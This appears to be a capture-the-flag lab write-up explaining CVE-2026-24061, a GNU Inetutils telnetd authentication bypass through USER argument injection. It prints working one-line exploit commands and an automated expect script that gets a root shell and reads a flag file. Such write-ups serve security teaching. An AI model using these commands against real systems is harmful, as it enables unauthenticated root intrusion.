GNU Inetutils Telnetd Authentication Bypass (CVE-2026-24061) — Hackviser

Description

GNU Inetutils telnetd is a widely used daemon that provides remote command-line access. This laboratory contains the CVE-2026-24061 vulnerability, affecting GNU Inetutils versions prior to 2.4. This is a critical Argument Injection flaw. The daemon improperly passes the USER environment variable (supplied by the client) to the /bin/login binary without sanitization.

English summary: A telnetd service running GNU Inetutils < 2.4 is vulnerable to CVE-2026-24061. The daemon passes the client-supplied USER environment variable directly to /bin/login as a command-line argument without any sanitization. By injecting -f root as the USER value, an attacker can instruct /bin/login to force authentication as root, completely bypassing the password check. The goal is to exploit this to gain root access and retrieve the flag.

Analysis

Target Reconnaissance

The target at 172.20.16.130 had port 23 (telnet) open, running GNU Inetutils telnetd on Debian (kernel 5.10.0-33-amd64).

Vulnerability Details

CVE-2026-24061 is a critical argument injection vulnerability in GNU Inetutils telnetd versions prior to 2.4.

The vulnerability chain:

1. The telnet protocol supports the ENVIRON option (RFC 1572), which allows the client to send environment variables to the server during the connection handshake.
2. The telnetd daemon receives the USER environment variable from the client.
3. telnetd constructs the login command by appending the USER variable value as arguments to /bin/login — without any sanitization or validation.
4. If the USER variable contains -f root, the resulting command becomes /bin/login -f root.
5. The -f flag of /bin/login is a "force" flag that bypasses password authentication for the specified user.

This means any remote attacker can gain root access without knowing any credentials.

Key Telnet Client Flags

• -a (Auto Login): Enables automatic login by sending local environment variables (including USER) to the server during the initial handshake via the ENVIRON option.
• -l user (macOS/BSD): Sets the USER ENVIRON variable to the specified value. On GNU/Linux, the equivalent is setting USER='...' as an environment variable before invoking telnet.
• -f root (injected into /bin/login): The -f flag tells /bin/login to force authentication for the specified user without requiring a password.

Solution

Step 1: Exploit the Authentication Bypass

On macOS/BSD telnet client, the -l flag sets the USER ENVIRON variable:

telnet -a -l "-f root" 172.20.16.130

On GNU/Linux with GNU telnet client, the equivalent command:

USER='-f root' telnet -a 172.20.16.130

What happens under the hood:

1. The telnet client connects to port 23 on the target.
2. The -a flag triggers automatic login, sending environment variables via the ENVIRON option.
3. The USER variable is set to -f root.
4. telnetd receives USER=-f root and constructs: /bin/login -f root.
5. /bin/login interprets -f root as "force login for user root" — no password prompt.
6. Result: immediate root shell (uid=0).

Step 2: Retrieve the Flag

After gaining root access:

cat /secret.txt
# Output: REDACTED

Automated Exploit Script

#!/usr/bin/env expect
# CVE-2026-24061 — GNU Inetutils telnetd auth bypass
# Usage: ./exploit.exp <target_ip>

set target [lindex $argv 0]
set timeout 10

spawn telnet -a -l "-f root" $target

expect {
    "root@*#" {
        send "cat /secret.txt\r"
        expect -re {(.+)}
        send "exit\r"
    }
    "login:" {
        puts "ERROR: Exploit failed — target may be patched"
        exit 1
    }
    timeout {
        puts "ERROR: Connection timed out"
        exit 1
    }
}

expect eof